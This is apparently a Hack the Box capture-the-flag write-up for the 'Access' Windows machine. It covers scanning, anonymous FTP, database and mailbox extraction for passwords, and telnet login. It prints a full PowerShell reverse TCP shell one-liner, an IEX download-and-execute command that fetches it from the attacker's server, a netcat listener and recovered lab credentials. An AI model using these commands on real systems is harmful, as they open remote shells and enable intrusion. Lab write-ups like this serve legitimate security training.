Skip to content

Latest commit

 

History

History
212 lines (170 loc) · 6.72 KB

access.md

File metadata and controls

212 lines (170 loc) · 6.72 KB

Hack the Box - Access

Machine IP: 10.10.10.98 - Windows

NMAP Open Ports

▶ nmap -Pn -sS -p- 10.10.10.98 -T4 --min-rate 5000 -oN nmap.surface

Nmap scan report for 10.10.10.98
Host is up (0.19s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT   STATE SERVICE
21/tcp open  ftp
23/tcp open  telnet
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 26.68 seconds

NMAP Service Version

▶ nmap -sC -sV -p 21,23,80 10.10.10.98 -T4 --min-rate 5000 -oN nmap.deep

Nmap scan report for 10.10.10.98
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: MegaCorp
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.59 seconds

Telnet Anonymous Login

  • Telent log in failed.
▶ telnet 10.10.10.98

image

Website

image

FTP Login

  • Log in to ftp, anonymous login allowed.
▶ ftp 10.10.10.98

image

FTP Downloads

  • Download all directories and files found in FTP.
▶ wget -m --no-passive ftp://anonymous:[email protected]

image

ZIP File

  • Access File
▶ 7z x Access\ Control.zip

image

  • Technical Information
▶ 7z l -slt Access\ Control.zip

image

MBD File

  • Look into the file
▶ strings backup.mdb

image

  • Extract Information
▶ mdb-tables backup.mdb | grep --color=auto user

image

▶ mdb-export backup.mdb auth_user

image

Extract ZIP File Contents

▶ 7z x Access\ Control.zip
password: access4u@security

image

PST File

  • Check the file.
▶ file Access\ Control.pst

File Type: Microsoft Outlook Personal Storage

  • Convert .pst file to .mbox file.
▶ readpst Access\ Control.pst

image

  • Read emails
▶ less Access\ Control.mbox

image

Username: security
Password: 4Cc3ssC0ntr0ller

Telnet Login

  • Login using found credentials.
▶ telnet 10.10.10.98

image

Shell Upgrade

Nishang

  • Modify and upload nishang TCP shell.
  • /opt/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1.

image

The script should look like: image

Nishang PowerShell One-Line Reverse TCP Shell

$client = New-Object System.Net.Sockets.TCPClient('<attacker_IP>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Upload & Execute

▶ python -m http.server
▶ nc -nlvvp 9001

image

C:\Users\security\Desktop>powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.24:8000/Invoke-PowerShellTcpOneLine.ps1')"

image

Stored Windows Credentials

  • Check if any stored credentials exist.
PS C:\Users\security\Desktop> cmdkey /list

image

The commands below are used to enumerate all the accessible shortcut (.lnk) files on the system, and examine them for the presence of the "runas" command.

C:\Users\security\Desktop> Get-ChildItem "C:\" *.lnk -Recurse -Force | ft fullname | Out-File shortcuts.txt
C:\Users\security\Desktop> ForEach($file in gc .\shortcuts.txt) {Write-Output $file; gc $file | Select-String runas}

image image

The results above show that the ZKAccess shortcut on the Public Desktop has been configured using the runas command.

The Desktop folder is not immediately visible since it is a hidden folder. It is possible to traverse the folder and list its contents. The folder is accessible to the builtin "NT AUTHORITY\INTERACTIVE" group. Users who log in "interactively" locally, or over a Remote Desktop or telnet session will have the Interactive SID in their access token.